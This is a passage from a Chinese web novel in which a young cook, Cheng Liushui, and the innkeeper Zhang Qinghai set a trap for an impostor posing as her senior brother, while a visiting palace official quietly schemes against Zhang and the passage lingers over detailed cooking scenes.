“爹娘被人藏起来。”程六水抬起头来,眼波流转间如头潜伏已久的猎豹,静悄悄地凝视着猎物道,“师兄,你知道是什么人吗?” “这我我我如何得知?”江远游双手背过身后,眼神飘忽道。 “对啊,你既不知又如何带我去寻,我相信师兄的能耐,假以时日必能有爹娘下落,那时我再同你一起启程如何?这几日你就在酒楼安心住下,我这几年可想师兄了呢。”程六水仿佛一只装成和善婆婆的大灰狼道。 江远游见程六水神情依旧是那副兄妹情深的模样,这才放下心来稳住阵脚道,“这样也好,你啊还如当年那般。” “当年那般吗?我这人一向只长岁数的,倒是师兄这些年变了许多。”程六水不经意道。 “哪哪里变了?”江远游心又吊了起来 ,面上不显道。 “变得愈发俊朗出尘,温柔和煦了。”程六水偷笑道,“师兄,不妨先上楼修整一番,晚间我做一大桌菜给你接风。” “好好好,你做菜一向不错。”江远游长舒一口气笑道,说着便随赵玉雨上楼去了。 眼见这人拐进了二楼的房门里,程六水耳边就传来了一些奇奇怪怪的声音,“俊朗出尘温柔和煦?你这嘴不知骗过多少男子。” “那我也夸东家俊朗出尘好不好?”程六水抿着嘴笑,佯装听不懂张清寒的醋言醋语。 “大可不必,我比不得你师兄,用你费心思做那一大桌子菜招待。”张清寒愈发没好气道,不知道的还以为程六水欠了他钱呢,“再说了,我也吃不下!” 程六水听罢只得摇头,唇角的笑终于是真心实意的,她不等眼前男子再说出些什么话来,便一下子拉起了他宽大的手掌,这下子张清寒不说话了,不仅不说话而且冷脸红艳艳得很。 “去我屋里好不好?”程六水低着声音,拉着他的手晃来晃去,纯真脸上俱是恳切,偏生这恳切无端又生出了几分女儿家的娇意。 张清寒喉结下意识地滑动,寒星冷眸似看似不看的,静了好一会儿才干巴巴道,“去你屋里做什么?” “我有桩心事要同你说呢,你是想听还是不想听啊?”程六水明明是正正经经说话,可那话里仿若山路十八弯,弯得听的人心尖一颤一颤的,就差要把整颗心掏给她了。 “好。”张清寒低着头,只能什么都说好。 午后小院里,年轻男女的衣角翩然而过,小哈巴狗毛毛追着那一上一下的衣角,好似在扑蝴蝶捉蜻蜓,可惜这回的蝴蝶“哐当”一声被关进香香的屋子里了,委屈巴巴的毛毛小鼻梁差点都撞门上了,所幸毛毛本来就是个塌鼻梁哈巴狗,十分无伤大雅。 这屋子,张清寒许久没进过了,准确来说应是酒楼修整后就没进过了,虽身在江湖,但他个大男人平白进姑娘的屋子也属实不是那么回事。 就算是如今进了屋子,他也是目不斜视旁的一个都不敢多看,只敢盯着圆桌上的茶壶茶碗……还有蜜饯瓜子点心肉干。 “你饿了?饿了就吃嘛,怎么瞧着委屈巴巴的?”程六水倒是没那么多讲究,人狠话不多地直接将那蜜香猪肉脯递到了张清寒的嘴边。 张清寒是张嘴也不是不张嘴也不是,只得用手接过,一下一下咬着吃着。 程六水大摇大摆坐在他身旁道,“好吃吧?这可是我最新的研究成果,比牛肉干更好嚼,十分适合牙口不好的人。” “咳咳,我牙挺好的。”张清寒差点被呛到了,哑着嗓子辩解道。 “哦,你牙确实不错。”程六水奇怪地看着张清寒,十分不解他怎么突然还自证了起来,他牙口好不好与她有什么关系。 张清寒这下子也不吃了,惴惴不安又满怀期待道,“你把带来这里,是要说什么?” “自然是说说我那俊朗出尘温柔和煦的大师兄啊。”程六水笑嘻嘻道。 “……那你不必说了,这几日我会尽地主之谊好好招待他的,你也可以休息几日陪他在江陵玩玩。”张清寒憋着一口气,就差气得喘不上气道。 “原来我们的张东家这么欢迎江师兄啊,我还以为你不喜欢他呢,看来是我小人之心度君子之腹了。”程六水饶有兴致地瞧着张清寒即将快七窍生烟的脸,真不怪她啊谁会不喜欢看气愤委屈可怜的帅哥呢,要是能流几滴小泪珠就更好了。 “呵呵呵。”张清寒冷笑了起来,胸膛一起一伏地停不下。 “好了好了不逗你了,你看看你这气性真是愈发小了。”程六水咧开嘴,小手十分无辜地就摸上了他的胸前,好家伙这回不仅是起起伏伏了,那是心如擂鼓啊。 “我迟早有一天要被你气死。”张清寒深吸一口气,一个字一个字咬牙切齿地蹦出来。 “你这脾气和我江师兄还真像,江师兄自小就是个不苟言笑的性子,哪有什么温柔和煦,幼时我哭着不吃饭,他便直接掰开我的嘴灌给我,吓得我立时就好好吃饭了,有时我哭着不肯睡,他就让我去绕着后山跑圈,给我累得眼睛都睁不开了。”程六水也拾起一片猪肉脯边咬边说道。 张清寒这下子才从那情情爱爱中寻回些理智,他皱眉思索道,“这行径与方才那位确实不同。” “自然是不同的,而且我在程门时从不下厨,就是连粥水都不会熬,他竟说什么我做菜一向不错,还莫不如说我制毒才是一绝。”程六水神情狡黠道,嘴角似笑非笑。 “我明白了,原来你是想钓鱼。”张清寒这下子心终于落地了,脑子也全部都回来了。 “他顶着我师兄的脸而来,言语间就想带我走,虽说得合情合理却也漏洞百出。”程六水说到这儿,忽而停顿了片刻道,“也不算漏洞百出,遭逢大变又突遇亲人,热络些也是有的,是我这些年变得太多了,打了他个猝不及防。” “你想如何做?”张清寒接着问道。 “他戴着我师兄的人皮面具,定然是知晓我师兄乃至我爹娘的下落的,自然是顺藤摸瓜,免得打草惊蛇。”程六水恶狠狠地咬了猪肉脯一大口。 “好,我都听你的。”张清寒点了点头道。 “怎么这么乖啊,我的张大东家。”程六水不禁揉了揉他柔顺的发顶,毛茸茸的真可爱。 “你又哄我。”张清寒嘴里叼着六水亲手做的肉脯,头上是六水作乱的小手,扭扭捏捏地说着抱怨,实则心里甜滋滋的都能齁死人了。 结果这抱怨刚一出口,头顶上的手就不摸了,那纤细手指流连在另一处柔软的毛茸茸处,翻来覆去地不知揉捏了多少次,微微眯起的葡萄眼说不出的惬意。 张清寒生无可恋地看向取代了他的毛茸茸,那只十分灵活精于撞门和钻狗洞的毛毛,只能无奈地笑了笑道,“毛毛长大了不少。” “是呀,毛毛是个大姑娘了,要跟我说些女孩子的体己话。”程六水更是半张脸都贴着毛毛的大耳朵,软软的薄薄的太可爱了,只不过说得这话就没那么软和了。 “那我去楼上盯着假师兄。”张清寒是别无他法的,他着实没有赖在女儿家闺房的道理,自然也听不得一人一狗的体己话,难不成他还能男扮女装吗? 第83章 翡翠玉圆汤 然而酒楼楼上可不仅仅有“假”师兄,还有个摔破脑袋的钱大官人,大官人的脑袋缠上了一层又一层的纱布,本就是个指甲盖的小口子,这么一包扎属实瞧着是有些吓人的。 他的小徒弟来福守在床边,一刻都不敢休息,就这么直勾勾地盯着自家师父,生怕师父醒了后饿了渴了的,实在是至诚至孝。 偏生这来福生得一双大眼,亮得吓人,此时白日里不显,待到晚间都能顶得上那猫儿了。钱三才悠悠醒转之际,睁开眼缝啥也没瞧见,就瞧见这双大眼了,瞳孔幽深眼白清晰。 “哎呦喂诶,来福你要吓死我啊。”钱三才差点从床上蹦起来又撞到头,属实也不能怪他,实在是方才来福如一头山沟子里藏匿的猛虎,而他就那猛虎的猎物。 来福瞬间收敛起眼眸,一派殷勤妥帖地忙活了起来,端茶倒水送到了钱三才嘴边道,“师父怎的了,是不是魇着了?张大人说了,您只是撞倒了头,外伤不妨事的,敷上些药草几天就好了。” 提到张清寒,钱三才直起身子靠在床头上,有一搭没一搭地喝着水道,“张大人呢?” “听说酒楼里的厨子来了亲戚,那张大人去帮着招待去了。”来福毕恭毕敬道。 “他倒是乐得悠闲,朝廷上的事一概不理,躲在这江陵做逍遥神仙。”钱三才放下茶杯,意味深长道。 “徒弟打听了,张大人这几月忙着重修酒楼做生意,皇城司的事他十天半月都不见管一回,想是真真厌了朝中争斗,要退隐山林了。”来福顺着钱三才的话茬接着说道。 “要是这样就好了,还用得上你师父我费劲巴力来这江陵走一遭,他张清寒不管现下作何,仍能一纸密信三五日飞进咱陛下的耳边,更别提那大权独揽的皇后是他的依仗,况且他离了皇城司一载有余,仍是以他马首是瞻,半点离心离德都没有。 他光在这里开酒楼有什么用?人啊要是用不上了,斩草除根便是最佳的。“那午间白面憨笑的御膳房钱三才早已不见踪影,换来的是面色狠厉眼眸微垂的钱大人。 “师父,张大人武功高强,我瞧着这酒楼里虽是一群乌合之众,酒楼外却有不少皇城司的探子,他们平日里不露面,可要是主子快没了,定然是会扑上来的,这又如何是好?”来福目光闪烁,早就料到了此行真正的目的,他是乐见其成无有不愿的,坐山观虎斗便宜他来捡。 “傻东西,你以为就我们师徒几人就能与张清寒拼命啊?他那是一夫当关万夫莫开之勇,寻常手腕定是不成的,这样的人定要拿捏住他在意的东西,他才能乖乖束手就擒。”钱三才在宫中活了几十年,在先帝那血雨腥风的后宫里完好地活了下来,又混到如今这地位,自然是洞察世事。 凭心而论,他是喜爱张清寒的,性子虽是冷 淡了些,却极爱吃他做的饭菜,每次能吃三大海碗。没有厨子会不喜欢这样捧场的人,可惜这小子站错了队,偏要逆天而行,真是可惜了了。 “原来我们这是深入虎穴焉得虎子,还是师父高招。”来福巴巴地给钱三才捶起腿来。 而这位不知已被人算计上的张东家正在交待乔四方盯紧“假”师兄,“今日晚间生意不做了,你便守在他身边,无论他做什么,你都得跟着。” “咋地?东家你怕他拐走六水啊?不会的,这家伙长得没你好,六水不会变心的,你就放心吧!”乔四方一整日都在算盘银子账本里打转,一听不用做生意了,十分乐得清闲。 “……行,你跟着我放心。”张清寒刚想道出事情原委,却瞧着拐角的房门开了,想着便是钱大人醒了,只得放下解释,拍了拍乔四方结实的肩膀走了。 乔四方咧开嘴笑得开花,搬个板凳就坐在了“假”师兄房门口,这地方倒好窗边的阳光直直照进来,他从兜里掏出把瓜子就磕了起来,咯吱咯吱得跟个大耗子似的。 张清寒回头一瞧那大耗子,无声地摇了摇头,对上了乔四方正好抬起的眼眸,那乔四方又笑了,从另一个口袋里掏出了一把花生,“一起吃点?” “……等我回来的。”张清寒憋了半天,就蹦出了这么一句话。 他这才走到钱大人房门口,就见那钱大人惨白着张脸,虚弱至极地要去取那床边的茶杯,却怎么着都没有力气了,竟是一副要撒手人寰的模样。 “张大人,您快给师父瞧瞧,一醒来就成这样了,可是又严重了?”来福火急火燎地迎着张清寒道。 张清寒快步走到床边,立时把起脉来,皱眉了半天才道,“脉象虚弱暗沉,却不至于此,先吃我之前开的方子几日,不行我再重新开个。” “不必如此麻烦,我这病是老毛病了,许是这回砸到了头,牵连起病根来。瞧着是吓人些却不致命,人老了总是三灾两病的,不服老真是不行啊。”钱三才勉强支撑起身子,气若细丝般说道。 “前些年,不见您有这毛病,这是怎么了?”张清寒在京中的几年,时常在宫中行走,待这位钱大人是有几分真情的,赶忙出言询问道。 “心惊胆战了几十年,好不容易得了个出宫的差事,人啊一松泛下来,那口气也就提不起来了,自然什么病都找上来了。还是你做得好,早早就明白这个道理,不与他们争那些名啊利啊的,这些又有何用?远不如无病无灾舒心平顺。”钱三才边说边咳嗽了几声,就这几下咳嗽咳得满脸通红,瞧着就不大好。 “您快躺下养着,江陵依山傍水人事简单,您不妨放下些差事,在我这儿小住一段,想来陛下宽宏大度也不至于治你的罪。”张清寒轻轻扶着钱三才,给他掖齐了被角。 “陛下自是仁德宽和的,说起来我能得遇明主也是我的幸事了,只是……唉。”钱三才话说到一半,忽然面有戚戚,伤悲得说不出话来。 “只是如何?”张清寒问道。 “我此行见你便思量良多,骤然间又晕厥病弱,我这心里竟安生了。我服侍先帝又侍奉今上几十年,前朝在争后宫亦在争,无休无止漫天怨怼,如履薄冰了如此久,不如就此辞官才好。”钱三才百感交集道,浑浊的双眼似是遥望远处,却又似在凝视着张清寒。 “辞官也是条安生路子,就是不知陛下要是馋您做的翡翠玉圆汤了怎么办?京中几载,陛下召我议事,传唤膳食时总是少不了您的这道拿手菜。”张清寒追忆往昔,不禁笑了笑,陛下权柄加身九五之尊,私下里却实在是个好相处的性子。 钱三才一听张清寒提起了翡翠玉圆汤,这十分的假话竟生出了几分真情来,他亦是笑道,“是了,陛下幼时就爱这道菜,那时我就是个御膳房不起眼的小太监,陛下那时下了学,便是要来吃上一碗的,说是冰天数九吃上这么一碗汤,身上暖了心也暖了,小小的人儿却有这许多感慨。” “陛下当年不容易,先帝子女众多,陛下没有母妃庇护,自然是较旁的皇子缺衣少吃。”张清寒自是知晓此等皇家秘事的,谁都是从寒微之处熬过来的,今日的繁花锦簇不过是熬出了结果罢了。 “这人啊就是有情,才舍不下过往,所以就算是活得再不自在,也总是念着情分走不脱。我是如此,小清寒你亦是如此吧?”钱三才眼神幽幽,目光深邃道。 这话一下子问到了张清寒的心底,他厌恶了朝堂党争的乌烟瘴气,厌恶了日复一日的血雨腥风,可他舍不掉陛下的君臣情谊,弃不了皇后娘娘的知遇之恩,如今虽在江陵偏安一隅,可他是明白自己的,若是有一日这二位真是遇着难事了,他断不会坐视不管,定是要身先士卒以报恩情的。 他浅笑了几下,却并未言语,只是转头眺望远方,那是皇城的方向。 钱三才心下了然,方才的温情皆是无影无踪了,他私心是想保住张清寒的,只要张清寒逍遥江湖不问朝堂诸事,他便是与那上头的当家人拼了老命,也是能保的。 可惜小清寒终是挡了道,他就算是有力却也无心了,张清寒有割舍不掉的情谊,可他钱三才也有,他断不会任由皇后外戚专权,扰了陛下好不容易得来的大乾江山,这是他对大乾对先帝对陛下的忠。 早已退到屋外的来福细细听着,那俩大眼珠子精明地滴溜溜转,与先前馒头沾汤的模样大相径庭了,只不过四下无人发觉而已。 正当他聚精会神之际,忽然眼前出现了一捧瓜子,给他吓得定住了,极其缓慢地转过头去,只见一个五大三粗满身结实肌肉的七尺八壮汉扬起一张非常灿烂的小麦色面庞道,“嘿嘿吃瓜子吗?” 来福再一偏头,走廊尽头处不知何时多了三个小马扎,有一个还坐上了人,一干干净净穿着乞丐补丁服的男子在掰花生…… 第84章 铁锅炖大鹅 “吱吱吱” “咔咔咔” “嚼嚼嚼” 满怀心事的张东家轻轻关上了钱三才的房门,不待转身便听见耳边传来了这般脆响的声音,半是无奈地欲去提溜起乔四方的大耳朵,让他好好看着“江”师兄。 结果眼眸一转,他瞬间就哑了火,人看得挺好的,都拉着“江”师兄一起当大耗子了……再附带个没吃饱的来福,这三人凑一起总有种说不出的诡异。 “咳咳。”张清寒撇着嘴故意轻咳了几声,这三人才发觉有人出来了,纷纷抬起头来笑得跟那太阳花似的,像极了学塾里偷吃零嘴的馋学生,一听到夫子要打手板,就企图装成懵懂无知的老实人来蒙混过关。 但显然,他们不是一般的老实人,远比老实人胆子大得多,“东家,我们瓜子快吃完了。”乔四方希冀的小眼神亮起,明晃晃的口袋里确实也就只剩一小把了,按这三只大耗子的食量,不消半炷香就得吃完。 “你想说什么?”张清寒胸中哪里还有方才割舍不掉的情谊,只余想一锤子把这三人敲晕的想法。 “嘿嘿,这焦香瓜子可好吃了,是六水昨日刚炒的,厨房里还有一大盆呢。”乔四方憨厚地笑着挠头道。 旁边那俩人也不住地开口道,“是啊是啊,可好吃了。” “那你怎么不去后厨取?”张清寒都笑了,笑得凶巴巴阴森森,还莫不如不笑呢。 要是换做常人见了如此修罗夜叉般的张清寒,定是汗毛都立起来了,哪知乔四方眨巴眨巴着眼睛,指着窗外极为和煦的暖阳道,“江师兄说要晒太阳,我得陪他。” 张清寒不说话了,开口估计就是一口老血,好好好谁让是他安排乔四方去盯着这位“江”师兄的呢,拿瓜子就拿瓜子有什么大不了,大不了把厨房给他们搬来,吃吃吃全都给他吃了! “等着。”他半晌才吐出了两字,头也不回地朝着后厨走去了,自然没有看到这三人如饿虎扑食般抢瓜子的争斗场景。 一路行到后厨,竟未遇见一人,推开厨房大门就见程六水在那儿对着大铁锅念念有词,“大鹅大鹅莫生气,咕噜咕噜才好吃。” 就这打油诗一下子就扫去了张清 寒眼中的阴霾,他不禁轻笑道,“怎么今日不做程大厨了,改当诗人了?还是首炖鹅诗。” “你这人天天揶揄我,瞧着是上面都安排妥当了。”程六水将那浸泡好的大鹅冷水下锅,葱姜黄酒俱都招呼上,只为了能焯水去去大鹅的腥气。 “差不多了,怎的不见少仲玉雨陶陶他们?”张清寒洗净了手,挽起袖口戴上围裙,十分自觉地等待程大厨的指挥。 “我让他们去市集买东西了,你这围裙戴得倒快,那就切些黄瓜丝胡萝卜丝白菜丝吧?”程六水从大铁锅中抬起头,笑嘻嘻瞧了一眼张清寒便道。 “买东西?是最近后厨缺了什么吗?”张清寒拎起一把大菜刀,嘁哩喀喳刷刷刷就开始切菜,现如今他打下手的功力在酒楼里可是能排得上名号的,当然了主要是别人也抢不过他。 “自然是缺的,到时候买来你瞧瞧便知了。”程六水圆圆的眼中狡黠一闪而过,一看就是藏着鬼心眼呢。 “好。”张清寒也不追问,只是笑道。 程六水自然是没什么功夫去看张清寒的清俊笑脸,她此时早就捞出了焯过水的大鹅,温水洗净了碎沫子,又使劲控干了水。 一旁的铁锅也烧热了,菜籽油放得比平时多些,油多火却小,几块冰糖下锅慢慢熬着,不一会儿就金黄透亮了,这时那大鹅就扑通扑通下了这甜蜜的油锅了。 程六水眼疾手快地拿起大铁铲子就一个劲地翻滚大鹅,眨眼间大鹅便上了焦糖色好看极了,而张清寒端着葱姜蒜干辣椒八角在一旁,收到了程六水的一个眼神,便心领神会地全倒进了铁锅了。 瞬间后厨爆炒煸香,香得肚皮都响得要命,程六水在这香味中仔细闻着,觉着大鹅的腥气还得再去些,便又淋了圈料酒,再倒入后厨常备的黄豆酱清酱翻炒开来,那焦糖大鹅就变成酱香大鹅了。 张清寒瞧着这鹅炒得酱料均匀火候得当,便十分有眼色地取来了一锅开水,静静等着。 “倒吧。”程六水一声令下,咕嘟咕嘟开水漫过了大鹅,随即盖上锅盖炖了起来。 “你怎么晓得要倒开水的?是不是背着我偷摸学厨艺了。”程六水拍了拍手,这铁锅炖大鹅少不得一个时辰,现下倒是可以歇上片刻,既歇了她这嘴便开始叭叭叭地诱哄人。 “你送我的食谱,我自然日日研习,便知晓了那肉用开水炖煮才好,不然就柴得很。”张清寒将那切好的黄瓜丝胡萝卜丝白菜丝摆盘放好道。 “这么厉害呢,不愧是东家,做什么都一点就通一学就会,事情交给你当真是能把心放在肚子里。”程六水笑盈盈地夸奖道。 张清寒一时间被夸得还羞臊了起来,嘴角忍不住地想笑,偏生憋着不笑出声,脸都憋红了。红着红着他就不经意间瞧见了桌子上摆着的炒瓜子…… “啊!”张清寒这下才从程六水的夸夸阵中醒过来,他来后厨貌似是来拿瓜子的。 “怎的了?”程六水顺着张大东家的目光看去,双眸一转便猜了个八九不离十,趁机调侃道,“莫不是忘了什么事?心放不进肚子了?” 确实是心放不进肚子里了,连瓜子都没放进肚子里,张清寒在程六水坏兮兮的眼神中败下阵来,认栽道, “我去给楼上送些瓜子。” “好~”程六水嘻嘻道,这瓜子酒楼人人都爱吃,不过要属最喜爱的便是乔四方,想来就是东家安排了四方去守着“江”师兄,既守着哪能不磕点瓜子解闷呢,要不然那可太坏了。 可惜程六水无暇去二楼瞧上一瞧,要不然便知可不是单纯嗑瓜子送瓜子这点子事了,楼上三个馋嘴鬼甭管到底是何身份,见了姗姗来迟的张清寒,均是哭天抹泪嚎叫起来,连小马扎都不坐了。 只不过他们不知程六水现下要做的吃食,比焦香瓜子更是好吃了不老少,撕成小条的平菇在水中烫,放在窗口风吹上一吹,一会儿便凉了,此时程六水用尽力气将那吸满水的平菇攥干。 随后就投入了她的秘制面糊糊里,这面糊糊可不单只有面粉,又加了不少玉米粉鸡蛋,再来点盐巴香料粉调味,这样炸出来的平菇就是不蘸椒盐辣椒面也是好吃的。 一条条瘦小的平菇在面糊糊里上下颠倒,裹得极是均匀,程六水见差不多了,才另起锅烧油炸得平菇形状饱满,捞出后再炸一次,这次便是金黄酥脆,咬一口外酥里嫩都要爆汁了,平菇与生俱来的鲜味溢满了唇间。 软炸鲜蘑做好便放在一边晾凉,程六水稍稍翻开了铁锅炖大鹅的锅盖,瞧着还是要些时候的,她闲着也是闲着,那油锅里的油也是不能浪费的,所幸再做道锅包肉也是极好的。 这锅包肉是她的拿手绝活,以前在现代的时候,她头次在小饭店后厨里帮工,就学会了这道菜,刚开始是看颠勺的大师傅做,后来便是依葫芦画瓢学了个七七八八,有的饭店爱做番茄口的,有的爱做酸甜口的。 不过依着程六水的口味,倒是酸甜口用白糖米醋熬出来的汁子更开胃,她想着便将那腌得差不多的猪肉片炸起来,最后用糖醋汁一淋,撒些极细的葱丝和胡萝卜丝便成了。 炖大鹅有了,炸物有了,现下便是要做些爽口的凉菜才正好,程六水取出了方才张清寒切得黄瓜丝胡萝卜丝白菜丝,又将今晨备着的晶莹剔透大拉皮摆在一起,调了个芝麻酱多多蒜末多多的料汁,酸甜咸香地浇在了拉皮和三丝上,黄黄绿绿的颜色好看得紧。 此时铁锅大鹅的火候差不多了,放些豆角干土豆干宽粉冻豆腐进去,她低头一闻这香味,恨不得放下锅盖给自己鼓掌,这大鹅炖得那是相当有水平了,帅呆了酷毙了简直是无法比喻了。 都不敢想等这些干货吸满了金黄的汤汁得多香,到时候大鹅给他们吃就行,把这豆角土豆留给自己最好,这才是精华中的精华啊。 她洗净双手,把发好的玉米饼子“啪啪啪”贴到了铁锅的锅沿,翻滚的汤汁时不时地浸润了玉米饼子,盖上锅盖过个一炷香,到时候玉米饼底子被铁锅烤得干干,顶上又是软绵绵蓬蓬的,想着想着程六水咽了咽口水,说实话她自从来了这儿,还真一顿没吃过铁锅炖呢,人都说是近乡情怯,她这是近乡肚子叫。 趁着最后一点功夫,程六水想了想等下一桌的人,嗯除了酒楼的常驻人口,钱大人来福招财进宝,还有个假的江师兄,约摸着这些菜怕是有些不够。 作为勤劳勇敢的代名词的程六水手脚麻利地做了个皮蛋豆腐和菠菜拌粉丝,这皮蛋如今还是个稀罕物,长得黑不溜秋的没人愿意吃,从江浙那边传过来,江陵码头集市上是没人买的,只能贱卖处理,正好她捡了个大便宜全包圆了,如今做成皮蛋豆腐,加些小米辣葱花爽口得很。 第85章 恩情 转眼间夕阳西下,白日余晖洒在断口子河面上,和煦微风吹散了一日的疲惫,瞧着便令人心生无数希冀,希冀前路平坦顺遂,希冀姻缘美满和善,自然了这些希冀过于虚无缥缈,无论是平坦顺遂还是美满和善,都得先填饱肚子才行。 能吃能喝能睡,便是没有这春日里的希冀,也能活得乐乐呵呵,尤其是对着一大锅炖大鹅,甭管是谁都决定先把自己心里的鬼胎放一放,还是吃饭要紧啊。 “师妹,这一桌子都是你做的?”江远游捡了一堆瓜子皮,正要下楼扔了,这才看见大堂桌子上摆得满满登登,那香味勾得他吃瓜子吃得半饱的肚子,瞬间不饱了,不仅不饱还更饿了。 江远游摸着肚子饥饿里又有几分诧异,他竟不知程门的少掌门厨艺精湛,幸好方才顺嘴夸了程六水先前 的厨艺,不然岂不露馅了。 “是啊,师兄许久没吃过我做的菜了,怕是想得不行吧?从前你要是三日不吃我做的菜,就得叫了。”程六水浅浅笑道,澄净天真的圆眼睛里俱是师兄妹情深的追忆。 “那时的日子真是无忧无虑,今日见你好,我便知足了,不曾想还能吃上你做的饭菜,师兄我乐得都不愿离开了。”江远游落座后道。 “师兄刚来,可莫说要走的话,我盼着师兄多住些时日,同你好好叙旧呢。”程六水招呼着大家过来吃饭,酒楼的伙计们来得倒是快,一个个坐得笔直,筷子都拿起来了。 “不走不成啊,我此行一是寻你和师父师娘,二来丐帮事务繁杂南边生意红火,我作为帮中长老也得去照看一二。”江远游满是遗憾道。 “南边生意红火?我先前只听说我朝与北戎通商往来频繁,一来二去北边商贾多如牛毛,而南边则是官路科举之地,竟不知也做起了生意来?”马陶陶一听便来了兴趣道。 “江浙一带生意做得大是常事,这倒没什么可说的,今上放开了关禁海禁,受益的不止是北边,岭南之地与南越毗邻,生意也是做了许多的。”江远游笑着解释道。 “岭南多湿气瘴气,历朝历代皆是犯人的流放之地,当地百姓虽能生活却从来谈不上富裕,这生意做起来当真是利国利民的好事啊。”杜少仲听罢,也点了点头道。 “是了,今上英明,而我丐帮子弟本就是遍及五湖四海的,那岭南的兄弟们也跟着做了些生意,算是贴补帮里,不成想越做越大,竟要月月前往南越走生意了,这不才派我这么个人过去看着。我想着,本就是要寻师父师娘的,这下正好便于我访遍各地。”江远游接着道,句句说得极为在理。 “月月都要走生意?那这规模想着不小,想必定是赚得盆满钵满吧?”说者未必无心,听者却必然有意,马陶陶听着心意微动道。 “挣得还好,大抵能贴补帮中大半开销,如今只是做了一载,若是生意顺遂,说不定来年帮内全部开销都指望着这南越的生意了。”江远游似是不经意道。 “丐帮可是江湖第一大帮派,数万子弟的就算依着帮规讨饭,可少不得也得帮中拨些钱粮救济着。”张清寒扶着钱三才慢慢从二楼走下来,恰巧听了这话便道。 张清寒幽深凌冽的眼眸黑得吓人,他知朝中去岁亦放开了与南越国的通商,可就这么一载的功夫竟能发展至此,想必定是夸大其词或更是假的,不过确实假的江师兄自然说出来的话也是假的,但他说这些又是意欲何为呢? “南越通商了?”程六水摸了摸自己的小下巴,思量几瞬便道,“那是不是能运来很多赌尔焉啊?”她承认这大乾的物产已然是十分丰富的了,可比之现代却还是有所不及的,赌尔焉便是榴莲,榴莲啊榴莲她真是爱吃的要命。 可惜她在现代的时候就是有些穷的,没什么钱能总吃榴莲,一年到头甭说是鲜榴莲,就是那便宜的冻榴莲也只能过年的时候吃上一回。待到穿越至此,总算是有了些小小的积蓄,可她找遍了码头集市却没见过榴莲的半点影子,真是令人难过。 这话问的江远游一愣,他努力地控制住自己的面部表情,只是低头几瞬才道,“这我倒是不知,此番我去了问问岭南的兄弟们,要是有定给师妹带来。” “赌尔焉是什么呀?”赵玉雨疑惑不解道。 “是南越诸国的一种果子,曾上贡于我朝,只不过先帝闻之便不爱,故而后来就没在宫中出现过了。程小师傅,竟知道这些,还真是博学多闻啊。”钱三才坐定开口道,探究地看向程六水,他此行虽是来试探张清寒心意的,可也当真是领了今上的差事,遍寻民间美食珍馐。 他方才晕倒前吃了这程小师傅的饭菜,按照那文人的说法,便是浑然天成间不失几分匠心独运,与生俱来的天赋与熟能生巧的技艺缺一不可,若是能招到宫里给陛下做菜,定能让政务繁重的陛下多吃些,至于那黑心肠的皇后就让她吃那御膳房冷了热热了冷的御膳房隔夜菜吧。 “我这人没别的爱好,自小就是爱吃饭爱做饭,什么稀罕的吃食我都是极感兴趣的,若是能尝一尝便是乐得找不着北,江陵四通八达,码头更是往来船只汇聚之地,我时时去那买些异国蔬果,故而听人说起过,说这赌尔焉闻着臭吃着香,生而多刺内里软糯香甜,是难得的佳果,我这一听就上了心。”程六水笑盈盈道。 “倒还真是,先帝便是嫌这果子臭得很,随便赏了人,老朽当时年岁尚轻,有幸尝了些,确实如你所说味道极好。”钱三才点了点头笑道,他观这程小师傅谈吐落落大方,言语也真切,是个实心肠的人。张清寒这小子还真是会看人识人,什么样的人才都能被他寻着。 钱三才活了许多年,早已明了这人啊心诚是首要的,只要本心是正的,天赋与勤勉得其一便能有所成,若两者皆得,就是一等一的人才了。 而江师兄一听钱三才这话,微微挑眉却隐忍不发,再悄悄观钱三才身旁的三位徒弟,一瘦高一矮胖还有一相貌身材皆是中等的,此三人皆低头不语。 “原来我与钱大人竟是同好,那日后等师兄从南越带来赌尔焉,我邀大人一同品尝。”程六水眉眼俱笑道。 “好好好,你菜做得好人也爽快,与老夫极对脾气,过些日子待我头上的伤好些,不如你与我一起上京,你这身厨艺在京中定能大展才华。”钱三才不禁欣赏着说道。 此话一出,最先坐不住的不是程六水的江师兄,而是在主位上冷着脸的张清寒,瞬间脸色铁青漆黑眼眸深不见底,“钱大人,你是想挖人?” “这等厨艺不该埋没在江陵,在宫中做个女官岂不是更好,若是得了封赏也是家族荣耀的事。”钱三才转头意味深长道。 “六水厨艺是好,若是钱大人能在京中赞赏一二,那便是极荣耀的了,至于进宫……要看六水的意思了。”张清寒眉心微皱,话音都是带着冰碴的。 钱三才听罢却笑了,看向眼前这个面容姣好青春年少的程小师傅,她并未如张清寒那般反应大,欢喜的眼眸中竟藏着些许平和。 这下子钱三才倒是更觉着有趣了,喜怒形于色之人世间常有,可不形于色则寥寥无几,更别提三五瞬间竟还伪装起心性了,就算是他此时都拿不准这程小师傅的心思。 不过他很能拿得准张清寒的心思,知好色则慕少艾,年轻的男男女女间这点子事是藏也藏不住的,就仿佛炒菜一定是有油烟子的,藏也藏不住,就算呛不着别人,也得呛着自己。 可他抬眼悄咪咪看了眼张清寒,他怎么记得这小子也得有二十五六了吧,程小师傅乍一看不过十七八,这么想来张清寒也不算是程小师傅的良配,还是找个年岁相当的才好,差个一两岁最佳,两人在一起也有的是话说。 对面的程六水则根本不知道钱三才这九转十八弯的心思,她的笑更似是一种肌肉记忆,除了开心时笑得跟鹅叫一样“嘎嘎嘎”的,其余时候说话也笑不说话也笑,紧张也笑被骂了也笑,她只知道伸手不打笑脸人,自然了她也遇着过见她笑还欺负她的,那她也会笑着破口大骂再踏上一只脚! “我本是野路子出身的厨艺,能得大人一声赞当真是三生有幸了,京城我幼时曾随家人去过,繁花似锦井然有序,当真是心向往之。”程六水继续笑着答道,接着话茬一转,“只是后来我家人失踪久寻无果,我颠沛流离至此,是张东家给了我容身之所,我才能安安心心地做我的菜,精进厨艺。 今日之所得皆是张东家成就,既是受了恩情,定是要寻着机会报答才能心安。如今十全酒楼重新开业不久,正是忙碌的时候,我怎好离开,待来日我似您这般,有几个十八般武艺样样精通的小徒弟,这我才能放下心来离开,到了那时您在京中可别嫌我烦。” 钱三才哑然一笑,这等嘴皮子真真应该送进宫里,八面玲珑的心思,虽是拒绝的话,可自己这心里听着咋还挺高兴呢,他眼眸微转,忽而调皮道,“与你们东家只是……恩情?” 第86章 一本万利 钱三才这么一问,就连他那低着头不说话的三个徒弟都抬头看向程六水了,一桌子人眼睛都不带眨的齐齐将目光汇在程六水那张保持微笑眼眸微动的脸上。 毕竟人没有不爱看热闹的,尤其是在场诸人确实没人知晓程六水心里是怎么个想法,赵玉雨与马陶陶两人曾各执一词。 